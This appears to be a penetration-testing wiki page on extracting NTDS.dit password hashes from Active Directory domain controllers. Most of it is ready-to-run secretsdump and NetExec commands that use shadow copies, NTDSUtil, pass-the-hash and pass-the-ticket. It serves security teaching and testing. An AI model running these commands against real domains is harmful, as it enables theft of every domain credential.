NTDS secrets

MITRE ATT&CK™ Sub-technique T1003.003

Theory

NTDS (Windows NT Directory Services) is the directory services used by Microsoft Windows NT to locate, manage, and organize network resources. The NTDS.dit file is a database that stores the Active Directory data (including users, groups, security descriptors and password hashes). This file is stored on the domain controllers.

Once the secrets are extracted, they can be used for various attacks: credential spraying, stuffing, shuffling, cracking, pass-the-hash, overpass-the-hash or silver or golden tickets.

Practice

Since the NTDS.dit is constantly used by AD processes such as the Kerberos KDC, it can't be copied like any other file. In order to exfiltrate it from a live domain controller and extract password hashes from it, many techniques can be used.

Just like with SAM & LSA secrets, the SYSTEM registry hive contains enough info to decrypt the NTDS.dit data. The hive file (\system32\config\system) can either be exfiltrated the same way the NTDS.dit file is, or it can be exported with reg save HKLM\SYSTEM 'C:\Windows\Temp\system.save'.

Secretsdump.py

Impacket's secretsdump (Python) can be used to remotely dump NTDS.dit through Volume Shadow Copy. Several authentication methods can be used like pass-the-hash (LM/NTLM), or pass-the-ticket (Kerberos).

# Remote dumping of NTDS.dit using Shadow Copy
secretsdump.py 'DOMAIN/USER:PASSWORD@TARGET' -use-vss -just-dc

# Remote dumping of NTDS.dit using Shadow Copy (pass-the-hash)
secretsdump.py -hashes 'LMhash:NThash' 'DOMAIN/USER@DC_TARGET' -use-vss -just-dc

# Remote dumping of NTDS.dit using Shadow Copy
secretsdump.py -k -no-pass 'DOMAIN/USER@DC_TARGET' -use-vss -just-dc

# Offline dumping of NTDS.dit secrets from exported files/hives
secretsdump.py -system '/path/to/system.save' -ntds ntds.dit.save LOCAL

NetExec

NetExec (Python) can also be used to remotely dump NTDS.dit through Volume Shadow Copy or NTDSUtil. It offers several authentication methods like pass-the-hash (NTLM), or pass-the-ticket (Kerberos)

### Shadow Copy
# Remote dumping of NTDS.dit using Shadow Copy
netexec smb $TARGETS -d $DOMAIN -u $USER -p $PASSWORD --ntds vss

# Remote dumping of NTDS.dit using Shadow Copy (pass-the-hash)
netexec smb $TARGETS -d $DOMAIN -u $USER -H $NThash --ntds vss

# Remote dumping of NTDS.dit using Shadow Copy (pass-the-ticket)
netexec smb $TARGETS -k --use-kcache --ntds vss

### NTDSUtil
# Remote dumping of NTDS.dit using NTDSUtil
netexec smb $TARGETS -d $DOMAIN -u $USER -p $PASSWORD -M ntdsutil

# Remote dumping of NTDS.dit using NTDSUtil (pass-the-hash)
netexec smb $TARGETS -d $DOMAIN -u $USER -H $NThash -M ntdsutil

# Remote dumping of NTDS.dit using NTDSUtil (pass-the-ticket)
netexec smb $TARGETS -k --use-kcache -M ntdsutil

In addition when using NetExec or Secretsdump, the -exec-method option can be set to smbexec, wmiexec or mmcexec to specify the remote command execution method on which the process should rely.

Resources

Last updated